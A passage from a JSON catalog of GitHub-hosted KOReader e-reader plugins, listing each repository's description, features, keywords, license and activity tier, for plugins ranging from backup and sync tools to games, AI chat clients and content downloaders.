e-readers"],"keywords":["fork","opds","opds++","enhanced","browser","catalog","browsing","list","view","grid","customization","options","default","catalogs","included","method","manual","recommended","git","clone","developers","troubleshooting","accessing","first"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-30T23:11:15Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":12398,"detail":"detail/kodermike__opds_plus_plus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"KodeshKit/simplemenu.koplugin","owner":"KodeshKit","repo":"simplemenu.koplugin","url":"https://github.com/KodeshKit/simplemenu.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T13:06:04Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"komadorirobin/koreader-sdr-backup.koplugin","owner":"komadorirobin","repo":"koreader-sdr-backup.koplugin","url":"https://github.com/komadorirobin/koreader-sdr-backup.koplugin","description":"Back up and restore KOReader SDR reading state over the local network","purpose":"Det här paketet säkerhetskopierar KOReaders lässtatus trådlöst till datorn och kan återställa den på samma eller en helt ny Android-enhet.","categories":["sync"],"features":["alla .sdr-mappar på intern lagring och anslutna minneskort","varje mapps lagringsrot och exakta relativa sökväg","relevanta Lua-inställningar i koreader/settings (bland annat samlingar och pluginstatus)","statistik-, ordförråds- och relevanta plugin-databaser, men inte stora återskapningsbara bokcachefiler","history.lua, andra globala historikfiler och settings.reader.lua","ett manifest och SHA-256-kontrollsummor på datorn","Aktivera ADB och anslut läsaren","Kör ./install_to_reader.sh i Terminal. Vid flera ADB-enheter: ADB_SERIAL=IP:PORT ./install_to_reader.sh","Starta om KOReader. Menyn SDR Backup visas i huvudmenyn","Efter nedladdningen stänger pluginet KOReader"],"keywords":["android","backup","ereader","koreader","lua","back","restore","sdr","reading","state","over","local","network","installera","starta","mottagaren","macen","terst","llning","ota-uppdateringar","datorn","ppna","efter","filer"],"topics":["android","backup","ereader","koreader","lua"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-28T18:27:08Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":3538,"detail":"detail/komadorirobin__koreader-sdr-backup.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"last-available-username/pocketbook-bluetooth.koplugin","owner":"last-available-username","repo":"pocketbook-bluetooth.koplugin","url":"https://github.com/last-available-username/pocketbook-bluetooth.koplugin","description":"Toy KOReader plugin for Pocketbook Inkpad 4 to toggle bluetooth","purpose":"Toy KOReader plugin for PocketBook Inkpad 4 to toggle Bluetooth Works on my Inkpad 4 with firmware 6.10, plausibly would work on any 6.8/6.10 firmware device, but may require some adjustment.","categories":["device"],"features":[],"keywords":["toy","pocketbook","inkpad","toggle","bluetooth","pocketbook-bluetooth","execuse","writing","general","disclaimer","device","menu","button","first","icon","stock","back","between","buttons","disable","down","drop","enable","firmware"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-13T03:22:27Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2781,"detail":"detail/last-available-username__pocketbook-bluetooth.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"lawshinpersona/einkfixer.koplugin","owner":"lawshinpersona","repo":"einkfixer.koplugin","url":"https://github.com/lawshinpersona/einkfixer.koplugin","description":"Optimize the reading experience of e-ink display devices with lines on screen.","purpose":"`einkfixer.koplugin` is a KOReader plugin designed to mitigate display degradation caused by \"screen lines\" on flexible e-ink panels, particularly Mobius-type screens.","categories":["misc"],"features":["Enable/disable the fixer from Tools -> More tools -> E-ink Fixer","Refresh style: blinking dot, hidden refresh area, or small clock","Corner placement: top right or top left","Clock mode: seconds or milliseconds","Millisecond refresh interval: 50, 100, 250, or 500 ms"],"keywords":["optimize","reading","experience","e-ink","display","devices","lines","screen","fixer","works","options","refresh","area","clock","voltage","affected","blinking","caused","corner","damage","einkfixer","flexible","hidden","rectangle"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-10T03:34:16Z","license":"Apache-2.0","default_branch":"main","has_meta":true,"readme_bytes":1843,"detail":"detail/lawshinpersona__einkfixer.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"leocg/dreamdiary.koplugin","owner":"leocg","repo":"dreamdiary.koplugin","url":"https://github.com/leocg/dreamdiary.koplugin","description":"A local, offline-first dream journal for KOReader.","purpose":"Leia em Português Dream Diary is a local, offline-first dream journal for KOReader. Its main goal is simple: let you wake up, open one action, and start writing before the dream fades.","categories":["sync","device","notes"],"features":["Fast, full-screen dream capture with the body focused first","Local SQLite storage with no account, telemetry, or runtime network requests","Dashboard, paginated history, dream details, body/date editing, and confirmed deletion","Optional Title and Mood fields, disabled by default","Three dream-date modes: wake-up date, sleep date, or record date","English and Brazilian Portuguese, with automatic language detection and English fallback","KOReader menu, gesture/keyboard actions, and SimpleUI Quick Action support","Optional PIN protection with three levels","Off: no PIN","History only: recording stays instant; saved dreams and history require the PIN"],"keywords":["dream-journal","kindle","koreader","lua","local","offline-first","dream","journal","diary","privacy","pin","compatibility","backup","restore","troubleshooting","development","setup","translations","roadmap","security","keyboard","directory","dreamdiary","data"],"topics":["dream-journal","kindle","koreader","lua"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-20T20:51:48Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":8172,"detail":"detail/leocg__dreamdiary.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"lnbentes/voltorbflip.koplugin","owner":"lnbentes","repo":"voltorbflip.koplugin","url":"https://github.com/lnbentes/voltorbflip.koplugin","description":"","purpose":"Este plugin é uma recriação do minijogo Voltorb Flip, originalmente apresentado em *Pokémon HeartGold / SoulSilver*, projetado para ser executado no KOReader (KindleApp).","categories":["misc"],"features":["Objetivo: Revelar todas as cartas com valores 2 e 3 no tabuleiro","Moedas e Multiplicadores","No início de cada rodada, você faz uma aposta (Bet) retirada de sua carteira (Wallet). Essa aposta inicial é colocada no pote…","Cada carta numérica segura que você revela multiplica o multiplicador da rodada (round_mult), que por sua vez multiplica o valor…","Revelar cartas com o número 1 é seguro, mas não altera o progresso de vitória direta (embora multiplique o pote por 1)","Voltorb (Bomba)","Se você virar um Voltorb (0), você perde a rodada imediatamente, o pote acumulado zera e seu nível de jogo cai para 1","Dicas (Clues)","As linhas e colunas exibem indicadores numéricos essenciais na borda superior e esquerda","Número Superior: A soma dos valores numéricos daquela linha ou coluna"],"keywords":["voltorb","flip","minijogo","como","jogar","controles","atalhos","estrutura","digo","fluxo","financeiro","moedas","para","jogo","cartas","mero","pote","rodada","tabuleiro","anota","carta","game","aposta","atual"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-09T04:08:07Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4655,"detail":"detail/lnbentes__voltorbflip.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"lolwierd/codex.koplugin","owner":"lolwierd","repo":"codex.koplugin","url":"https://github.com/lolwierd/codex.koplugin","description":"ChatGPT inside KOReader, signed in with your ChatGPT subscription (no API key). Device-code OAuth, multi-turn chat, highlight actions, web search.","purpose":"ChatGPT inside KOReader, signed in with your ChatGPT subscription — no API key, no per-token billing. It reuses the exact OAuth client and backend that the official OpenAI Codex CLI uses, so it rides your ChatGPT Plus/Pro plan instead of the pay-as-you-go API.","categories":["sync","ui","web","ai","files"],"features":["Sign in with ChatGPT via the device-code flow — approve on your phone/computer, no API key, no browser or callback server on the…","Chat — real multi-turn conversations with page-based reading, history, replies, and new chats","Ask about highlighted text — select any passage and choose Explain / Summarize / Define terms / Ask about this…, then keep the…","Persistent history — past chats are saved on device (last 50), reopen and continue any of them","Web search toggle — uses the backend's hosted web_search tool so answers can use live internet results","Thinking level — reasoning effort from none to xhigh (default: medium)","Model picker — gpt-5.6-luna (default), gpt-5.6-terra, gpt-5.6-sol, or a custom id","Self-updates — check GitHub Releases from the plugin menu, install the latest ZIP, and restart KOReader"],"keywords":["chatgpt","inside","signed","subscription","api","key","device-code","oauth","multi-turn","chat","highlight","actions","web","search","codex","requirements","auth","works","file","layout","caveats","credits","device","openai"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-01T14:37:17Z","license":"Unlicense","default_branch":"main","has_meta":true,"readme_bytes":5373,"detail":"detail/lolwierd__codex.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"lolwierd/flickturn.koplugin","owner":"lolwierd","repo":"flickturn.koplugin","url":"https://github.com/lolwierd/flickturn.koplugin","description":"Flick your Kobo to turn the page — accelerometer gesture plugin for KOReader","purpose":"Flick your Kobo to turn the page. The plugin polls the raw accelerometer at 20 Hz. On the Libra Colour that's a Kionix KX122, and the vendor driver exposes an on-demand readout as a sysfs `xyz` attribute under `/sys/class/input/inputN` (found by matching the input device name against `accel`, so it survives the input…","categories":["misc"],"features":["Open a book, go to the navigation/gesture menu, and enable \"Flick to turn","Snap angle — how far (in degrees) the flick has to swing before it","Cooldown — minimum time between two flick-triggered page turns, so a","Battery saver — allow deep standby between page turns (stock power","Invert flick direction — swaps which way forward/back map to, for"],"keywords":["flick","kobo","turn","page","accelerometer","gesture","flickturn","works","settings","devices","device","angle","battery","same","standby","direction","input","posture","resting","across","also","back","flat","plane"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-10T07:37:38Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4749,"detail":"detail/lolwierd__flickturn.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"lolwierd/scratchpad.koplugin","owner":"lolwierd","repo":"scratchpad.koplugin","url":"https://github.com/lolwierd/scratchpad.koplugin","description":"Per-book and global note scratchpad for KOReader. Full-screen plain-text editor, openable from the reader menu or bindable to a gesture.","purpose":"A quick scratchpad for jotting and re-reading notes while you read, for KOReader. Each book gets its own pad (keyed by a stable book id, so it survives renames), plus there's one shared global pad. Notes are plain text files on the device — nothing proprietary, easy to back up or sync.","categories":["ui","files","notes"],"features":["Per-book notes — every book gets its own scratchpad, keyed by the book's partial MD5 (survives file renames/moves)","Global pad — one shared pad across all books","Sections — organise a note with headings (e.g. # Characters, # Important parts) and jump straight to any section's text","Full-screen editor with Save / Reset / Close, save-on-close, pannable scrolling, and remembered scroll position","Bindable — both actions can be assigned to gestures or profiles","Plain text storage — notes live in koreader/scratchpads/*.txt","In-app updates — check GitHub Releases and install updates from the Scratchpad menu","Reader menu -> Navigation -> Scratchpad -> This book's scratchpad / Global scratchpad","Settings -> Taps and gestures -> Gesture manager -> (pick a gesture) -> \"Scratchpad: this book\" / \"Scratchpad: global\""],"keywords":["per-book","global","note","scratchpad","full-screen","plain-text","editor","openable","menu","bindable","gesture","sections","storage","notes","book","text","section","button","file","heading","scratchpads","shared","updates","while"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-15T06:51:05Z","license":"Unlicense","default_branch":"main","has_meta":true,"readme_bytes":3284,"detail":"detail/lolwierd__scratchpad.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"LoShady/MangaPinch.koplugin","owner":"LoShady","repo":"MangaPinch.koplugin","url":"https://github.com/LoShady/MangaPinch.koplugin","description":"KOReader plugin to search and download Italian manga as CBZ files.","purpose":"MangaPinch Browse and download Italian manga directly from KOReader. An open-source KOReader plugin for browsing and downloading Italian manga as CBZ files.","categories":["device","files","content"],"features":["🔍 Search Italian manga","📚 Browse available chapters","⭐ Save favorites","🕒 Reading history","⬇️ Download chapters as CBZ","📖 Open downloaded chapters directly in KOReader"],"keywords":["cbz","cbz-generator","ebook","ebook-reader","kindle","koplugin","koreader","koreader-plugin","lua","manga","manga-downloader","search","download","italian","files","mangapinch","disclaimer","chapters","browse","directly","open","available","save","favorites"],"topics":["cbz","cbz-generator","ebook","ebook-reader","kindle","koplugin","koreader","koreader-plugin","lua","manga","manga-downloader"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-26T11:40:47Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1112,"detail":"detail/LoShady__MangaPinch.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"lunabirkeland/ao3.koplugin","owner":"lunabirkeland","repo":"ao3.koplugin","url":"https://github.com/lunabirkeland/ao3.koplugin","description":"","purpose":"","categories":["content"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-11-24T18:20:15Z","license":"GPL-2.0","default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"majjam/bluetooth.koplugin","owner":"majjam","repo":"bluetooth.koplugin","url":"https://github.com/majjam/bluetooth.koplugin","description":"[[BlueBluetooth Managertooth enable/disable, device scan, connect/disconnect, WiFi-coexistence handling, and suspend/resume power management for MTK-based Kobo/Tolino devices (e.g. Tolino Shine 5, Clara BW platform).]],     -- Only loaded on MTK Kobo devices (guard is in main.lua)","purpose":"","categories":["device"],"features":[],"keywords":["bluebluetooth","managertooth","enable","disable","device","scan","connect","disconnect","wifi-coexistence","handling","suspend","resume","power","management","mtk-based","kobo","tolino","devices","shine","clara","platform","only","loaded","mtk"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-02-18T14:34:35Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"majjam/USBSSH.koplugin","owner":"majjam","repo":"USBSSH.koplugin","url":"https://github.com/majjam/USBSSH.koplugin","description":"SSH Plugin as USB Network Gadget for Tolino Shine 5","purpose":"","categories":["misc"],"features":[],"keywords":["ssh","usb","network","gadget","tolino","shine"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-02-18T14:37:34Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"ManorianOTP/Grimmory-KOReader-Client","owner":"ManorianOTP","repo":"Grimmory-KOReader-Client","url":"https://github.com/ManorianOTP/Grimmory-KOReader-Client","description":"KOReader plugins for a jailbroken Kindle: a Grimmory library client with background reading-progress sync.","purpose":"A pair of KOReader plugins that turn a jailbroken Kindle into a client for a self-hosted Grimmory library server: browse and download your books, and sync your reading position back to the server automatically.","categories":["sync","library","device","reading"],"features":["Library browser — covers, 19 sort options, 14 filter dimensions with live","Native book files — choose the exact KOReader-compatible primary or","Reading-progress sync — your position pushes to Grimmory as you read and","EPUB annotation sync (opt in) — highlights and notes use a durable","Reading-session sync (opt in) — reading time, progress and locations are","Shelf collections — fresh online Grimmory shelves are mirrored into","Connection & Sync panel — tap the top-bar Wi-Fi icon to turn Wi-Fi on and","Works offline — the last library view is cached, so the app still opens","Multiple accounts — switch between saved logins without retyping a","Tailscale onboarding — install and connect Tailscale from inside the app"],"keywords":["kindle","koreader","koreader-plugin","grimmory","jailbroken","library","client","background","reading-progress","sync","prerequisites","quick","start","updating","settings","troubleshooting","engineering","evidence","developers","server","tailscale","progress","tests","book"],"topics":["kindle","koreader","koreader-plugin","grimmory"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-12T23:33:05Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":10556,"detail":"detail/ManorianOTP__Grimmory-KOReader-Client.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"markus1189/bookbuddy.koplugin","owner":"markus1189","repo":"bookbuddy.koplugin","url":"https://github.com/markus1189/bookbuddy.koplugin","description":"Chat with Claude about whatever you're reading — a KOReader plugin.","purpose":"A KOReader plugin that puts a tool-using Claude agent inside your e-reader. Highlight a passage, ask a question, and the model doesn't answer from the snippet alone — it searches the full text, reads the pages around your highlight, checks the table of contents, and pulls up your own notes before it replies. The…","categories":["ai"],"features":["Adds a \"Chat with BookBuddy\" button to KOReader's text-highlight menu. Two","Streams the reply live into a chat view, coalesced so it stays readable on","Quick-action presets in the chat prompts: one tap fills the input box with a","Your own prompt templates: add reusable prompts of your own (menu →","Grounds answers in the real text with tools that read the book instead of","grep — full-text search within the book","read — read the book's text in order from a locator (a grep hit, a get_toc","get_toc — inspect the table of contents","book_context — book metadata and the reader's current position","get_highlights — the reader's own highlights and notes"],"keywords":["chat","claude","about","whatever","reading","conversation","looks","like","does","requirements","first","time","easy","way","git","required","configuration","self-update","book","bookbuddy","prompt","read","default","menu"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-15T17:25:57Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":12963,"detail":"detail/markus1189__bookbuddy.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Martus0/autowarmth.koplugin","owner":"Martus0","repo":"autowarmth.koplugin","url":"https://github.com/Martus0/autowarmth.koplugin","description":"","purpose":"A modified version of KOReader's built-in `autowarmth` plugin with independent dawn/dusk controls, a configurable transition mechanism, and several bug fixes.","categories":["reading"],"features":[],"keywords":["autowarmth","enhanced","fork","changes","original","bug","fixes","transition","mechanism","example","schedule","warmth","civil","dark","keyframe","mode","ramp","sunrise","before","between","dawn","steps","sunset","window"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-18T18:58:00Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4533,"detail":"detail/Martus0__autowarmth.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"MatthewBriggs/fetcher.koplugin","owner":"MatthewBriggs","repo":"fetcher.koplugin","url":"https://github.com/MatthewBriggs/fetcher.koplugin","description":"One-tap KOReader sync: OTA updates, OPDS book downloads, curated plugin & patch updates, and self-update — all from the reader.","purpose":"TLDR: A plugin to keep koreader, OPDS-sourced books, plugins and patches up-to-date with one tap. A modal walks through each step and reports what happened at the end:","categories":["sync","library","device"],"features":["KOReader — checks for an OTA update (stable or nightly, your choice) and offers to install if one's available","Books — downloads any new titles from the OPDS catalogs you've ticked, straight to your reader","Plugins — brings any of ~15 curated plugins up to their latest GitHub release, if you have them installed","Patches — pulls the latest .lua patches from any user-patch repos you've configured","You run KOReader on more than one device and are tired of USB-cable dances to keep everything in sync","You have an OPDS catalog (Calibre-Web, Kavita, Komga, calibre's built-in server, KOReader's own server, …) and want your reader…","You use a few user patches or community plugins and want them kept current without babysitting","KOReader update check — stable or nightly channel (configurable)"],"keywords":["ebook","ereader","kindle","kobo","koreader","koreader-plugin","lua","opds","one-tap","sync","ota","updates","book","downloads","curated","self-update","all","fetcher","happens","tap","now","who","requirements","setup"],"topics":["ebook","ereader","kindle","kobo","koreader","koreader-plugin","lua","opds"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-25T15:21:17Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":10567,"detail":"detail/MatthewBriggs__fetcher.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"maxmordon113/Focuslock.koplugin","owner":"maxmordon113","repo":"Focuslock.koplugin","url":"https://github.com/maxmordon113/Focuslock.koplugin","description":"This is a plug-in created for KOReader for absolute focus reading, useful for those who find themselves constantly tinkering with KOReader instead of reading books.","purpose":"Locks down KOReader's own menus so you can focus on reading. Two modes: Any attempt to open KOReader's top menu or bottom quick-settings panel instead shows a password prompt. Type your password (16+ characters, set in advance) to unlock everything again.","categories":["misc"],"features":["3 emergency unlocks, each giving you 1 full minute of unrestricted","\"Quit focus session\" — ends the lock immediately, but permanently","Fully exit KOReader (don't just let the device sleep — actually close it), then connect your device to a computer","Kindle: koreader/plugins/","Kobo: .adds/koreader/plugins/","Android: koreader/plugins/ at the root of internal storage","Desktop Linux: ~/.config/koreader/plugins/","Open a book, then go to Tools → Focus Lock","Tools → Focus Lock → Set password first (16+ characters, entered twice to confirm)","Start password lock when you want the lighter mode"],"keywords":["plug-in","created","absolute","focus","reading","useful","those","who","find","themselves","constantly","tinkering","instead","books","lock","password","timer","device","menu","mode","only","open","session","before"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-15T06:47:54Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":2230,"detail":"detail/maxmordon113__Focuslock.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"mf1-labs/schulte_table.koplugin","owner":"mf1-labs","repo":"schulte_table.koplugin","url":"https://github.com/mf1-labs/schulte_table.koplugin","description":"Plugin Generador de Tablas Schulte para KoReader","purpose":"Plugin Generador de Tablas Schulte para KoReader Download the latest release. Unzip schulte_table.koplugin.zip. Copy the schulte_table.koplugin folder to your KOReader plugins directory on the device. Restart KOReader.","categories":["misc"],"features":[],"keywords":["generador","tablas","schulte","para","table"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-23T22:23:35Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":413,"detail":"detail/mf1-labs__schulte_table.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"midastruth/caudex.koplugin","owner":"midastruth","repo":"caudex.koplugin","url":"https://github.com/midastruth/caudex.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-06T19:12:52Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"milh0usec/touchlockbuttons.koplugin","owner":"milh0usec","repo":"touchlockbuttons.koplugin","url":"https://github.com/milh0usec/touchlockbuttons.koplugin","description":"KOReader plugin for Kindle Paperwhite 4 with an on-screen navigation bar, touch locking and Power button controls.","purpose":"An experimental KOReader plugin for the Kindle Paperwhite 4 (10th generation). It adds a reserved five-button bar below the reading area and an optional physical Power-button controller.","categories":["ui"],"features":["One click: next page","Two clicks: previous page","Three clicks: enable or disable the complete touchscreen","Long press: ignored by the plugin","Kindle Paperwhite 4 / 10th generation (PW4)","Kindle firmware 5.14.2 as the development target","KOReader 2026.07.1 recommended for the first public release","Fully restart KOReader","Open Tools → Plugin management and confirm the plugin is enabled","Lock gestures outside the bar by default"],"keywords":["kindle","paperwhite","on-screen","navigation","bar","touch","locking","power","button","controls","touchlockbuttons","optional","power-button","controller","compatibility","configuration","recovery","safety","troubleshooting","custom","icons","appear","does","start"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-02T03:16:47Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5235,"detail":"detail/milh0usec__touchlockbuttons.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"milinami/opentgc.koplugin","owner":"milinami","repo":"opentgc.koplugin","url":"https://github.com/milinami/opentgc.koplugin","description":"Read OpenTGC posts directly from your koreader.","purpose":"Read OpenTGC posts directly from your koreader. Download the repository and extract its files into: /koreader/plugins/","categories":["misc"],"features":[],"keywords":["read","opentgc","posts","directly","post","9975561a9fe","download","file","files","open"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-17T22:17:33Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":836,"detail":"detail/milinami__opentgc.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"MJCopper/koboko.koplugin","owner":"MJCopper","repo":"koboko.koplugin","url":"https://github.com/MJCopper/koboko.koplugin","description":"Work-In-Progress KOReader Kobo Plugin","purpose":"Work-In-Progress KOReader Kobo Plugin I made this plugin for my own specific use case, it is only tested on my personal Kobo Clara BW. So use it at your own risk. Thought it would be worth making this code available for others interest.","categories":["reading"],"features":["Makes kepub folder browsable","Setting kepub folder as home","Corrects various issues with viewing/opening ePub files from the kepub folder","Setting Kobo Sync Server (api_endpoint) from within KOReader - this allows the use of a third party sync servers such as Grimmory","Convienant library sync process","Collection and series sync","Reading progress auto-sync"],"keywords":["work-in-progress","kobo","koboko","sync","epub","folder","kepub","tested","files","grimmory","other","setting","makes","browsable","home","corrects","various","issues","viewing","opening","server","api","endpoint","within"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-25T09:07:19Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":886,"detail":"detail/MJCopper__koboko.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"momadacoding/provider-acorny-highlights.koplugin","owner":"momadacoding","repo":"provider-acorny-highlights.koplugin","url":"https://github.com/momadacoding/provider-acorny-highlights.koplugin","description":"Acorny highlight sync plugin for KOReader","purpose":"This plugin adds Acorny as a KOReader highlight export target and can automatically sync new highlights to Acorny when network is available.","categories":["sync","files","notes"],"features":["Open https://github.com/momadacoding/provider-acorny-highlights.koplugin","Click Code > Download ZIP","Find the folder that directly contains main.lua and _meta.lua","Open KOReader","Go to Tools > Export highlights > Choose formats and services > Acorny","Select Set authorization token","In Acorny, open Settings > Import API tokens, create a token, copy it, and paste it into KOReader","Enable Export to Acorny for manual exports","Enable Automatically sync new highlights to upload newly created highlights automatically","Configure the Acorny token"],"keywords":["acorny","highlight","sync","download","option","zip","github","git","clone","where","copy","configure","test","troubleshooting","folder","highlights","export","provider-acorny-highlights","after","directory","open","automatically","build","create"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-05T20:44:45Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":4134,"detail":"detail/momadacoding__provider-acorny-highlights.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"moohaad/gdrive.koplugin","owner":"moohaad","repo":"gdrive.koplugin","url":"https://github.com/moohaad/gdrive.koplugin","description":"A koreader plugin that allows files download and sync from Google drive","purpose":"Two-way sync for highlights, bookmarks, reading progress, and vocabulary across devices via Google Drive. Copy the `gdrive.koplugin` folder into your KOReader plugins directory:","categories":["sync","files"],"features":["3-way merge sync — annotations are merged intelligently, not overwritten. Edits on multiple devices are combined without data…","Vocabulary sync — syncs vocabulary_builder.sqlite3 (timestamp-based, newer wins)","Auto-sync — automatically syncs on book open and close (configurable)","Browse & download — browse your Google Drive and download files to your device","Per-book sync — each book's annotations are identified by content hash, so renaming or moving files doesn't break sync","Go to Google Cloud Console","Create a new project (or use an existing one)","Enable the Google Drive API","Go to Credentials → Create Credentials → OAuth client ID","Application type: Web application"],"keywords":["allows","files","download","sync","google","drive","setup","create","cloud","oauth2","client","refresh","token","configure","works","annotations","directory","vocabulary","book","credentials","data","browse","json","oauth"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-16T15:01:31Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4207,"detail":"detail/moohaad__gdrive.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"MoreVista/pixiv.koplugin","owner":"MoreVista","repo":"pixiv.koplugin","url":"https://github.com/MoreVista/pixiv.koplugin","description":"pixiv viewer for KOreader","purpose":"KOReader 用の pixivビューアプラグインです。 CBZとして保存することもできます。 ログインはPCで`refresh_token` を作成し、それを端末に貼り付けて使います。端末単体でログインすることはできません。","categories":["misc"],"features":["タグ・キーワード検索（検索履歴つき、後述）","ランキング閲覧（デイリー / ウィークリー / マンスリー / 男性・女性向け / オリジナル /","タップで全ページをダウンロードし保存","複数ページ作品 → CBZとして保存し、KOReader のコミックビューアで開く","単ページ作品 → 画像として保存し、ImageViewer で即表示","長押しで作品情報の表示 / 開かずに保存","画質切り替え（large = 1200px 前後、E-ink には十分 / original = 原寸）","保存先フォルダの選択","開いた作品を端末内に残さないモード（後述）","先にブラウザで開発者ツール（F12）の「ネットワーク」タブを開き、"],"keywords":["pixiv","viewer","token","refresh","code","load","match","r-18","search","e-ink","first","https","more","pixivpy","ranking","tags","works","cbz","imageviewer","large","1200px","original","f12"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-04T12:35:51Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":8195,"detail":"detail/MoreVista__pixiv.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Myrly/BionicReading.koplugin","owner":"Myrly","repo":"BionicReading.koplugin","url":"https://github.com/Myrly/BionicReading.koplugin","description":"A KOReader plugin that brings bionic reading to your favourite ereader.","purpose":"","categories":["misc"],"features":[],"keywords":["brings","bionic","reading","favourite"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-12T12:31:56Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"narendraj9/german_daily.koplugin","owner":"narendraj9","repo":"german_daily.koplugin","url":"https://github.com/narendraj9/german_daily.koplugin","description":"A basic koreader plugin for improving German Vocabulary","purpose":"A KOReader plugin that displays a daily German word, phrase, or topic of the day fetched from Groq's API. The plugin automatically caches content and only fetches new content once per day. Use \"Refresh\" to force a new 